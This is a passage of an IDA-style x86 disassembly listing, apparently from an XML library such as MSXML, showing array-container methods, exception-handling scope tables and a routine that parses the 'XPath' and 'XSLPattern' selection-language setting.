loc_69B89DB9: ; CODE XREF: sub_69B89C91+2Bj
; sub_69B89C91+36j ...
mov eax, [ebp+arg_0]
mov byte ptr [eax], 1
xor eax, eax
loc_69B89DC1: ; CODE XREF: sub_69B89C91+E0j
; sub_69B89C91+126j
pop edi
loc_69B89DC2: ; CODE XREF: sub_69B89C91+18j
pop esi
pop ebx
leave
retn 4
sub_69B89C91 endp
; =============== S U B R O U T I N E =======================================
sub_69B89DC8 proc near ; DATA XREF: .text:69B2B1ACo
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B89C54 SIZE 00000022 BYTES
sub [esp+arg_0], 4
jmp loc_69B89C54
sub_69B89DC8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B8A09C
loc_69B89DD2: ; CODE XREF: sub_69B8A09C+Dj
push esi
push edi
mov esi, ecx
push 1
lea edi, [esi+8]
push offset stru_69B1CA6C
mov ecx, edi
call sub_69B19B94
push [esp+8+arg_0]
lea ecx, [esi+14h]
mov dword ptr [esi], offset off_69B89E34
mov dword ptr [esi+4], offset off_69B89E20
mov dword ptr [edi], offset off_69B89E1C
call sub_69B1E084
push [esp+8+arg_4]
lea ecx, [esi+18h]
call sub_69B1E084
pop edi
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B8A09C
; ---------------------------------------------------------------------------
align 4
off_69B89E1C dd offset sub_69B8A0B3 ; DATA XREF: sub_69B8A09C-2A1o
off_69B89E20 dd offset loc_69B89E7A ; DATA XREF: sub_69B8A09C-2A8o
dd offset loc_69B89E84
dd offset loc_69B89E8B
dd offset loc_69B89694
dd offset loc_69B89734
off_69B89E34 dd offset sub_69B88FDD ; DATA XREF: sub_69B8A09C-2AEo
dd offset sub_69B89E54
dd offset sub_69B89E63
dd offset sub_69B89514
dd offset sub_69B895F4
dd offset sub_69B89E92
dd offset sub_69B89E96
dd offset sub_69B89E72
; =============== S U B R O U T I N E =======================================
sub_69B89E54 proc near ; CODE XREF: .text:69B89E89j
; DATA XREF: .text:69B89E38o
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 8
call sub_69B18E54
retn 4
sub_69B89E54 endp
; =============== S U B R O U T I N E =======================================
sub_69B89E63 proc near ; CODE XREF: .text:69B89E90j
; DATA XREF: .text:69B89E3Co
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 8
call sub_69B19038
retn 4
sub_69B89E63 endp
; =============== S U B R O U T I N E =======================================
sub_69B89E72 proc near ; DATA XREF: .text:69B89E50o
add ecx, 8
jmp sub_69B87FDC
sub_69B89E72 endp
; ---------------------------------------------------------------------------
loc_69B89E7A: ; DATA XREF: .text:off_69B89E20o
sub dword ptr [esp+4], 4
jmp sub_69B88FDD
; ---------------------------------------------------------------------------
loc_69B89E84: ; DATA XREF: .text:69B89E24o
sub dword ptr [esp+4], 4
jmp short sub_69B89E54
; ---------------------------------------------------------------------------
loc_69B89E8B: ; DATA XREF: .text:69B89E28o
sub dword ptr [esp+4], 4
jmp short sub_69B89E63
; =============== S U B R O U T I N E =======================================
sub_69B89E92 proc near ; DATA XREF: .text:69B15384o
; .text:69B1DDE8o ...
mov eax, [ecx+18h]
retn
sub_69B89E92 endp
; =============== S U B R O U T I N E =======================================
sub_69B89E96 proc near ; DATA XREF: .text:69B89E4Co
mov eax, [ecx+14h]
lea ecx, [eax+0Ch]
neg eax
sbb eax, eax
and eax, ecx
retn
sub_69B89E96 endp
; =============== S U B R O U T I N E =======================================
sub_69B89EA3 proc near ; CODE XREF: sub_69B3CD5C+38p
; sub_69B7DC68+6p
lea eax, [ecx+4]
push 0
push eax
call sub_69B17320
retn
sub_69B89EA3 endp
; =============== S U B R O U T I N E =======================================
sub_69B89EAF proc near ; CODE XREF: .text:69B3D76Dp
; sub_69B77BFC+12p
; DATA XREF: ...
push 0Ch
push offset dword_69B89F48
call sub_69B19C5C
mov ebx, ecx
lea esi, [ebx+4]
xor edi, edi
cmp [esi], edi
jnz short loc_69B89ECC
cmp [ebp+8], edi
jz short loc_69B89ECC
inc edi
loc_69B89ECC: ; CODE XREF: sub_69B89EAF+15j
; sub_69B89EAF+1Aj
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B3B7F3
test edi, edi
jz short loc_69B89F3C
mov ecx, [esi]
test ecx, ecx
jz short loc_69B89EF0
lea eax, [ebp-1Ch]
push eax
push offset stru_69B1CA6C
call sub_69B88161
jmp short loc_69B89EF5
; ---------------------------------------------------------------------------
loc_69B89EF0: ; CODE XREF: sub_69B89EAF+2Fj
mov eax, 80004005h
loc_69B89EF5: ; CODE XREF: sub_69B89EAF+3Fj
push eax
call sub_69B8861E
and dword ptr [ebp-4], 0
push dword ptr [ebp-1Ch]
mov ecx, ebx
call sub_69B89865
push dword ptr [ebp-1Ch]
mov ecx, ebx
call sub_69B89883
jmp short loc_69B89F2F
; ---------------------------------------------------------------------------
loc_69B89F15: ; DATA XREF: .text:69B89F4Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B89F1E: ; DATA XREF: .text:69B89F50o
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
call sub_69B2E860
loc_69B89F2F: ; CODE XREF: sub_69B89EAF+64j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B89F3C: ; CODE XREF: sub_69B89EAF+29j
call sub_69B1853C
retn 4
sub_69B89EAF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B89F48 dd 0FFFFFFFFh dd offset loc_69B89F15
dd offset loc_69B89F1E
; =============== S U B R O U T I N E =======================================
sub_69B89F54 proc near ; CODE XREF: sub_69B3F10D+7Ap
; sub_69B3F58D+Cp ...
push 0Ch
push offset dword_69B8A008
call sub_69B19C5C
mov esi, ecx
xor ebx, ebx
cmp [esi+4], ebx
jnz short loc_69B89F87
cmp [esi+10h], ebx
jz loc_69B8A001
push ebx
push 0C00CE213h
push 80070005h
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B8A001
; ---------------------------------------------------------------------------
loc_69B89F87: ; CODE XREF: sub_69B89F54+13j
cmp [esi+10h], ebx
jz short loc_69B89FA4
cmp [esi+0Ch], ebx
jnz short loc_69B89FA4
push ebx
push 0C00CE213h
push 80070005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B89FA4: ; CODE XREF: sub_69B89F54+36j
; sub_69B89F54+3Bj
cmp [esi+14h], bl
jnz short loc_69B8A001
mov ecx, [esi+4]
cmp ecx, ebx
jz short loc_69B89FC0
lea eax, [ebp-1Ch]
push eax
push offset stru_69B1CA6C
call sub_69B88161
jmp short loc_69B89FC5
; ---------------------------------------------------------------------------
loc_69B89FC0: ; CODE XREF: sub_69B89F54+5Aj
mov eax, 80004005h
loc_69B89FC5: ; CODE XREF: sub_69B89F54+6Aj
push eax
call sub_69B8861E
mov [ebp-4], ebx
push dword ptr [ebp-1Ch]
mov ecx, esi
call sub_69B89865
jmp short loc_69B89FF4
; ---------------------------------------------------------------------------
loc_69B89FDA: ; DATA XREF: .text:69B8A00Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B89FE3: ; DATA XREF: .text:69B8A010o
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
call sub_69B2E860
loc_69B89FF4: ; CODE XREF: sub_69B89F54+84j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8A001: ; CODE XREF: sub_69B89F54+18j
; sub_69B89F54+31j ...
call sub_69B1853C
retn
sub_69B89F54 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B8A008 dd 0FFFFFFFFh dd offset loc_69B89FDA
dd offset loc_69B89FE3
; =============== S U B R O U T I N E =======================================
sub_69B8A014 proc near ; CODE XREF: sub_69B3DD97+2Ap
; sub_69B7B7AC+Ep
push 0Ch
push offset dword_69B8A090
call sub_69B19C5C
mov esi, ecx
xor edi, edi
cmp [esi+10h], edi
jz short loc_69B8A086
cmp [esi+4], edi
jz short loc_69B8A086
mov ecx, [esi+4]
cmp ecx, edi
jz short loc_69B8A045
lea eax, [ebp-1Ch]
push eax
push offset stru_69B1CA6C
call sub_69B88161
jmp short loc_69B8A04A
; ---------------------------------------------------------------------------
loc_69B8A045: ; CODE XREF: sub_69B8A014+1Fj
mov eax, 80004005h
loc_69B8A04A: ; CODE XREF: sub_69B8A014+2Fj
push eax
call sub_69B8861E
mov [ebp-4], edi
push dword ptr [ebp-1Ch]
mov ecx, esi
call sub_69B89883
jmp short loc_69B8A079
; ---------------------------------------------------------------------------
loc_69B8A05F: ; DATA XREF: .text:69B8A094o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8A068: ; DATA XREF: .text:69B8A098o
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
call sub_69B2E860
loc_69B8A079: ; CODE XREF: sub_69B8A014+49j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8A086: ; CODE XREF: sub_69B8A014+13j
; sub_69B8A014+18j
call sub_69B1853C
retn
sub_69B8A014 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B8A090 dd 0FFFFFFFFh dd offset loc_69B8A05F
dd offset loc_69B8A068
; =============== S U B R O U T I N E =======================================
sub_69B8A09C proc near ; CODE XREF: sub_69B1C12C+2F1Fp
; sub_69B1C12C+3088p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B89DD2 SIZE 00000047 BYTES
push 1Ch
call sub_69B1D897
test eax, eax
jz short loc_69B8A0AE
mov ecx, eax
jmp loc_69B89DD2
; ---------------------------------------------------------------------------
loc_69B8A0AE: ; CODE XREF: sub_69B8A09C+9j
xor eax, eax
retn 8
sub_69B8A09C endp
; =============== S U B R O U T I N E =======================================
sub_69B8A0B3 proc near ; DATA XREF: .text:off_69B89E1Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8A0D2
test [esp+4+arg_0], 1
jz short loc_69B8A0CB
lea eax, [esi-8]
push eax
call sub_69B1B2B7
loc_69B8A0CB: ; CODE XREF: sub_69B8A0B3+Dj
lea eax, [esi-8]
pop esi
retn 4
sub_69B8A0B3 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A0D2 proc near ; CODE XREF: sub_69B8A0B3+3p
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
add esi, 0Ch
push esi
call sub_69B17230
pop esi
retn
sub_69B8A0D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A0E9 proc near ; CODE XREF: sub_69B4E634+1CBp
; sub_69B6ED05+28p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [edx+14h]
mov [ecx], eax
mov edx, [edx+0Ch]
lea eax, [eax+edx*4]
mov [ecx+4], eax
retn 4
sub_69B8A0E9 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A0FE proc near ; DATA XREF: .text:69B14794o
mov eax, offset off_69B2B1C8
retn
sub_69B8A0FE endp
; =============== S U B R O U T I N E =======================================
sub_69B8A104 proc near ; DATA XREF: .text:69B147ACo
; .text:69B147ECo ...
push esi
mov esi, ecx
push edi
mov edi, [esi+0Ch]
jmp short loc_69B8A116
; ---------------------------------------------------------------------------
loc_69B8A10D: ; CODE XREF: sub_69B8A104+16j
mov eax, [esi]
dec edi
push 0
push edi
call dword ptr [eax+38h]
loc_69B8A116: ; CODE XREF: sub_69B8A104+7j
test edi, edi
mov ecx, esi
jnz short loc_69B8A10D
pop edi
pop esi
jmp nullsub_5
sub_69B8A104 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A123 proc near ; DATA XREF: .text:69B147A0o
; .text:69B147E0o ...
push ebx
push esi
push edi
mov esi, ecx
call sub_69B2F49D
mov edi, eax
mov eax, [esi+8]
mov [edi+8], eax
mov eax, [esi+0Ch]
mov [edi+0Ch], eax
push dword ptr [esi+10h]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov ebx, [esi+0Ch]
jmp short loc_69B8A159
; ---------------------------------------------------------------------------
loc_69B8A14A: ; CODE XREF: sub_69B8A123+38j
mov ecx, [esi+14h]
mov eax, [edi]
dec ebx
push dword ptr [ecx+ebx*4]
mov ecx, edi
push ebx
call dword ptr [eax+38h]
loc_69B8A159: ; CODE XREF: sub_69B8A123+25j
test ebx, ebx
jnz short loc_69B8A14A
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_69B8A123 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A163 proc near ; CODE XREF: .text:69B3D78Ap
; sub_69B3E242+72p ...
arg_0 = dword ptr 4
mov eax, [ecx+14h]
mov ecx, [esp+arg_0]
mov eax, [eax+ecx*4]
retn 4
sub_69B8A163 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A170 proc near ; CODE XREF: sub_69B8A35C+8p
arg_0 = dword ptr 4
mov eax, [ecx+10h]
push esi
mov esi, [esp+4+arg_0]
cmp esi, eax
jle short loc_69B8A197
mov edx, [ecx+8]
test edx, edx
jnz short loc_69B8A189
lea eax, [eax+eax+2]
jmp short loc_69B8A18B
; ---------------------------------------------------------------------------
loc_69B8A189: ; CODE XREF: sub_69B8A170+11j
add eax, edx
loc_69B8A18B: ; CODE XREF: sub_69B8A170+17j
cmp esi, eax
jle short loc_69B8A191
mov eax, esi
loc_69B8A191: ; CODE XREF: sub_69B8A170+1Dj
mov edx, [ecx]
push eax
call dword ptr [edx+3Ch]
loc_69B8A197: ; CODE XREF: sub_69B8A170+Aj
pop esi
retn 4
sub_69B8A170 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A19B proc near ; CODE XREF: sub_69B677BA+4p
; sub_69B8A37E+8p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+0Ch], edi
jle short loc_69B8A1C2
mov ebx, [esp+0Ch+arg_0]
loc_69B8A1AB: ; CODE XREF: sub_69B8A19B+25j
mov ecx, [esi+14h]
push dword ptr [ecx+edi*4]
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+24h]
test al, al
jnz short loc_69B8A1CB
inc edi
cmp edi, [esi+0Ch]
jl short loc_69B8A1AB
loc_69B8A1C2: ; CODE XREF: sub_69B8A19B+Aj
or eax, 0FFFFFFFFh
loc_69B8A1C5: ; CODE XREF: sub_69B8A19B+32j
pop edi
pop esi
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_69B8A1CB: ; CODE XREF: sub_69B8A19B+1Fj
mov eax, edi
jmp short loc_69B8A1C5
sub_69B8A19B endp
; =============== S U B R O U T I N E =======================================
sub_69B8A1CF proc near ; CODE XREF: sub_69B8A6F8+9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_4]
test esi, esi
push edi
mov edi, ecx
jl short loc_69B8A1FB
mov ebx, [esp+0Ch+arg_0]
loc_69B8A1E0: ; CODE XREF: sub_69B8A1CF+2Aj
mov eax, [edi+14h]
lea eax, [eax+esi*4]
cmp dword ptr [eax], 0
jz short loc_69B8A1F8
push dword ptr [eax]
mov edx, [ebx]
mov ecx, ebx
call dword ptr [edx+24h]
test al, al
jnz short loc_69B8A204
loc_69B8A1F8: ; CODE XREF: sub_69B8A1CF+1Aj
dec esi
jns short loc_69B8A1E0
loc_69B8A1FB: ; CODE XREF: sub_69B8A1CF+Bj
or eax, 0FFFFFFFFh
loc_69B8A1FE: ; CODE XREF: sub_69B8A1CF+37j
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_69B8A204: ; CODE XREF: sub_69B8A1CF+27j
mov eax, esi
jmp short loc_69B8A1FE
sub_69B8A1CF endp
; =============== S U B R O U T I N E =======================================
sub_69B8A208 proc near ; CODE XREF: sub_69B3E044+43p
; sub_69B3E044+50p ...
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+0Ch], edi
jle short loc_69B8A223
loc_69B8A213: ; CODE XREF: sub_69B8A208+19j
mov eax, [esi]
push 0
push edi
mov ecx, esi
call dword ptr [eax+38h]
inc edi
cmp edi, [esi+0Ch]
jl short loc_69B8A213
loc_69B8A223: ; CODE XREF: sub_69B8A208+9j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_69B8A208 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A22A proc near ; CODE XREF: sub_69B4D535+22p
; sub_69B55AD3+A4p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jl short loc_69B8A271
cmp edi, [esi+0Ch]
jge short loc_69B8A271
mov eax, [esi]
push 0
push edi
call dword ptr [eax+38h]
mov eax, [esi+0Ch]
sub eax, edi
dec eax
jz short loc_69B8A262
mov ecx, [esi+14h]
shl eax, 2
lea ecx, [ecx+edi*4]
push eax
lea eax, [ecx+4]
push eax
push ecx
call sub_69B22103
add esp, 0Ch
loc_69B8A262: ; CODE XREF: sub_69B8A22A+1Fj
dec dword ptr [esi+0Ch]
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
and dword ptr [ecx+eax*4], 0
jmp short loc_69B8A27B
; ---------------------------------------------------------------------------
loc_69B8A271: ; CODE XREF: sub_69B8A22A+Aj
; sub_69B8A22A+Fj
push 80070057h
call sub_69B2E8B8
loc_69B8A27B: ; CODE XREF: sub_69B8A22A+45j
pop edi
pop esi
retn 4
sub_69B8A22A endp
; =============== S U B R O U T I N E =======================================
sub_69B8A280 proc near ; DATA XREF: .text:69B147A4o
; .text:69B147E4o ...
push ebx
push esi
push edi
mov esi, ecx
call sub_69B88D77
xor edi, edi
cmp [esi+0Ch], edi
mov ebx, eax
jle short loc_69B8A2BD
loc_69B8A293: ; CODE XREF: sub_69B8A280+3Bj
mov eax, [esi+14h]
mov ecx, [eax+edi*4]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov ecx, ebx
call sub_69B88EA5
inc edi
cmp edi, [esi+0Ch]
jge short loc_69B8A2BD
push offset asc_69B2A5AC ; ", "
mov ecx, ebx
call sub_69B88E04
cmp edi, [esi+0Ch]
jl short loc_69B8A293
loc_69B8A2BD: ; CODE XREF: sub_69B8A280+11j
; sub_69B8A280+2Aj
mov eax, [ebx]
pop edi
pop esi
mov ecx, ebx
pop ebx
jmp dword ptr [eax+2Ch]
sub_69B8A280 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A2C7 proc near ; DATA XREF: .text:69B147D4o
mov eax, offset off_69B8A2D0
retn
sub_69B8A2C7 endp
; ---------------------------------------------------------------------------
align 10h
off_69B8A2D0 dd offset off_69B2B1C8 ; DATA XREF: sub_69B8A2C7o
dd offset sub_69B8A46F
; =============== S U B R O U T I N E =======================================
sub_69B8A2D8 proc near ; DATA XREF: .text:69B147F0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+14h]
mov ecx, [esp+arg_0]
push [esp+arg_4]
lea eax, [eax+ecx*4]
push eax
call sub_69B2DEB2
retn 8
sub_69B8A2D8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A2EF proc near ; DATA XREF: .text:69B16CC8o
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+3Ch]
inc dword ptr [esi+8]
pop esi
retn
sub_69B8A2EF endp
; =============== S U B R O U T I N E =======================================
sub_69B8A2FC proc near ; CODE XREF: .text:69B8A323p
; sub_69B8A440+7p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B2DC24
mov dword ptr [esi], offset off_69B14778
mov eax, esi
pop esi
retn 4
sub_69B8A2FC endp
; ---------------------------------------------------------------------------
loc_69B8A314: ; DATA XREF: .text:69B2B1CCo
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A329
push 0
mov ecx, eax
call sub_69B8A2FC
retn
; ---------------------------------------------------------------------------
loc_69B8A329: ; CODE XREF: .text:69B8A31Dj
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
sub_69B8A32C proc near ; DATA XREF: .text:69B147B0o
; .text:69B14830o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+14h]
mov ecx, [esp+arg_0]
push [esp+arg_4]
lea eax, [eax+ecx*4]
push eax
call sub_69B17320
retn 8
sub_69B8A32C endp
; =============== S U B R O U T I N E =======================================
sub_69B8A343 proc near ; CODE XREF: sub_69B8A425+3p
push esi
mov esi, ecx
push dword ptr [esi+14h]
mov dword ptr [esi], offset off_69B14778
call sub_69B1B2B7
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8A343 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A35C proc near ; CODE XREF: sub_69B17064+33p
; sub_69B17064+69p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+0Ch]
inc eax
push eax
call sub_69B8A170
push [esp+4+arg_0]
mov eax, [esi]
push dword ptr [esi+0Ch]
mov ecx, esi
call dword ptr [eax+38h]
inc dword ptr [esi+0Ch]
pop esi
retn 4
sub_69B8A35C endp
; =============== S U B R O U T I N E =======================================
sub_69B8A37E proc near ; CODE XREF: sub_69B3D8AA+13p
; sub_69B3D8AA+2Ap
arg_0 = dword ptr 4
push ebx
push esi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B8A19B
test eax, eax
setnl bl
test bl, bl
jz short loc_69B8A39C
push eax
mov ecx, esi
call sub_69B8A22A
loc_69B8A39C: ; CODE XREF: sub_69B8A37E+14j
pop esi
mov al, bl
pop ebx
retn 4
sub_69B8A37E endp
; =============== S U B R O U T I N E =======================================
sub_69B8A3A3 proc near ; DATA XREF: .text:69B1479Co
; .text:69B147DCo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, ecx
cmp edi, esi
jz short loc_69B8A3EB
test esi, esi
jz short loc_69B8A3EF
push esi
mov ecx, offset off_69B2B1C8
call sub_69B1885E
test al, al
jz short loc_69B8A3EF
mov eax, [edi+0Ch]
cmp [esi+0Ch], eax
jnz short loc_69B8A3EF
lea ecx, [eax-1]
test ecx, ecx
jl short loc_69B8A3EB
mov eax, [edi+14h]
mov esi, [esi+14h]
lea edx, [eax+ecx*4]
sub esi, eax
loc_69B8A3DC: ; CODE XREF: sub_69B8A3A3+46j
mov eax, [esi+edx]
cmp eax, [edx]
jnz short loc_69B8A3EF
dec ecx
sub edx, 4
test ecx, ecx
jge short loc_69B8A3DC
loc_69B8A3EB: ; CODE XREF: sub_69B8A3A3+Aj
; sub_69B8A3A3+2Cj
mov al, 1
jmp short loc_69B8A3F1
; ---------------------------------------------------------------------------
loc_69B8A3EF: ; CODE XREF: sub_69B8A3A3+Ej
; sub_69B8A3A3+1Dj ...
xor al, al
loc_69B8A3F1: ; CODE XREF: sub_69B8A3A3+4Aj
pop edi
pop esi
retn 4
sub_69B8A3A3 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A3F6 proc near ; DATA XREF: .text:69B16CC0o
mov eax, [ecx+4]
mov ecx, [ecx+8]
xor edx, edx
cmp ecx, [eax+0Ch]
setl dl
mov al, dl
retn
sub_69B8A3F6 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A407 proc near ; DATA XREF: .text:69B16CC4o
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+38h]
test al, al
jz short loc_69B8A421
mov eax, [esi+4]
mov ecx, [esi+8]
mov eax, [eax+14h]
mov eax, [eax+ecx*4]
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B8A421: ; CODE XREF: sub_69B8A407+Aj
xor eax, eax
pop esi
retn
sub_69B8A407 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A425 proc near ; DATA XREF: .text:69B14784o
; .text:69B147C4o ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8A343
test [esp+4+arg_0], 1
jz short loc_69B8A43A
push esi
call sub_69B1829F
loc_69B8A43A: ; CODE XREF: sub_69B8A425+Dj
mov eax, esi
pop esi
retn 4
sub_69B8A425 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A440 proc near ; CODE XREF: sub_69B8A46F+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B8A2FC
mov dword ptr [esi], offset off_69B147B8
mov eax, esi
pop esi
retn 4
sub_69B8A440 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A458 proc near ; CODE XREF: sub_69B3E7B0+2Cp
; sub_69B4399D+49p ...
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A46A
mov ecx, eax
jmp sub_69B1D811
; ---------------------------------------------------------------------------
loc_69B8A46A: ; CODE XREF: sub_69B8A458+9j
xor eax, eax
retn 8
sub_69B8A458 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A46F proc near ; DATA XREF: .text:69B8A2D4o
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A484
push 0
mov ecx, eax
call sub_69B8A440
retn
; ---------------------------------------------------------------------------
loc_69B8A484: ; CODE XREF: sub_69B8A46F+9j
xor eax, eax
retn
sub_69B8A46F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B8A4FA
loc_69B8A487: ; CODE XREF: sub_69B8A4FA+Dj
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
call sub_69B1D811
mov dword ptr [esi], offset off_69B147B8
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B8A4FA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8A4A3 proc near ; CODE XREF: sub_69B8A4F3+1p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
push esi
call sub_69B1B42A
push eax
lea ecx, [ebp+var_C]
call sub_69B11D3B
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A4D1
mov ecx, eax
call sub_69B16C60
mov esi, eax
jmp short loc_69B8A4D3
; ---------------------------------------------------------------------------
loc_69B8A4D1: ; CODE XREF: sub_69B8A4A3+21j
xor esi, esi
loc_69B8A4D3: ; CODE XREF: sub_69B8A4A3+2Cj
push [ebp+arg_0]
lea eax, [esi+0Ch]
push eax
call sub_69B17320
and dword ptr [esi+10h], 0
lea ecx, [ebp+var_C]
call sub_69B1976C
lea eax, [esi+8]
pop esi
leave
retn 4
sub_69B8A4A3 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A4F3 proc near ; CODE XREF: sub_69B7855F+CBp
; sub_69B8D899+23p ...
push ecx
call sub_69B8A4A3
retn
sub_69B8A4F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A4FA proc near ; CODE XREF: sub_69B3E7B0+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B8A487 SIZE 0000001C BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A50C
mov ecx, eax
jmp loc_69B8A487
; ---------------------------------------------------------------------------
loc_69B8A50C: ; CODE XREF: sub_69B8A4FA+9j
xor eax, eax
retn 8
sub_69B8A4FA endp
; =============== S U B R O U T I N E =======================================
sub_69B8A511 proc near ; CODE XREF: sub_69B7624E+1B3p
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax
call sub_69B17230
mov ecx, esi
neg ecx
lea eax, [esi+8]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8A511 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B8A535(VARIANTARG *pvarSrc, int)
sub_69B8A535 proc near ; CODE XREF: sub_69B59028+83p
pvargDest = VARIANTARG ptr -10h
pvarSrc = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
and word ptr [ebp+pvargDest.anonymous_0], 0
push ebx
push 8 ; vt
push 0 ; wFlags
push 409h ; lcid
push [ebp+pvarSrc] ; pvarSrc
lea eax, [ebp+pvargDest]
push eax ; pvargDest
call VariantChangeTypeEx
mov ebx, eax
test ebx, ebx
jnz short loc_69B8A5A5
cmp dword ptr [ebp+pvargDest.anonymous_0+8], eax
jnz short loc_69B8A569
mov ebx, 80004005h
jmp short loc_69B8A5A5
; ---------------------------------------------------------------------------
loc_69B8A569: ; CODE XREF: sub_69B8A535+2Bj
push esi
mov esi, ds:StrCmpW
push offset aXpath ; "XPath"
push dword ptr [ebp+pvargDest.anonymous_0+8] ; psz1
call esi ; StrCmpW
test eax, eax
jnz short loc_69B8A589
mov eax, [ebp+arg_4]
mov dword ptr [eax], 1
jmp short loc_69B8A5A4
; ---------------------------------------------------------------------------
loc_69B8A589: ; CODE XREF: sub_69B8A535+47j
push offset aXslpattern ; "XSLPattern"
push dword ptr [ebp+pvargDest.anonymous_0+8] ; psz1
call esi ; StrCmpW
test eax, eax
jnz short loc_69B8A59F
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
jmp short loc_69B8A5A4
; ---------------------------------------------------------------------------
loc_69B8A59F: ; CODE XREF: sub_69B8A535+60j
mov ebx, 80004005h
loc_69B8A5A4: ; CODE XREF: sub_69B8A535+52j
; sub_69B8A535+68j
pop esi
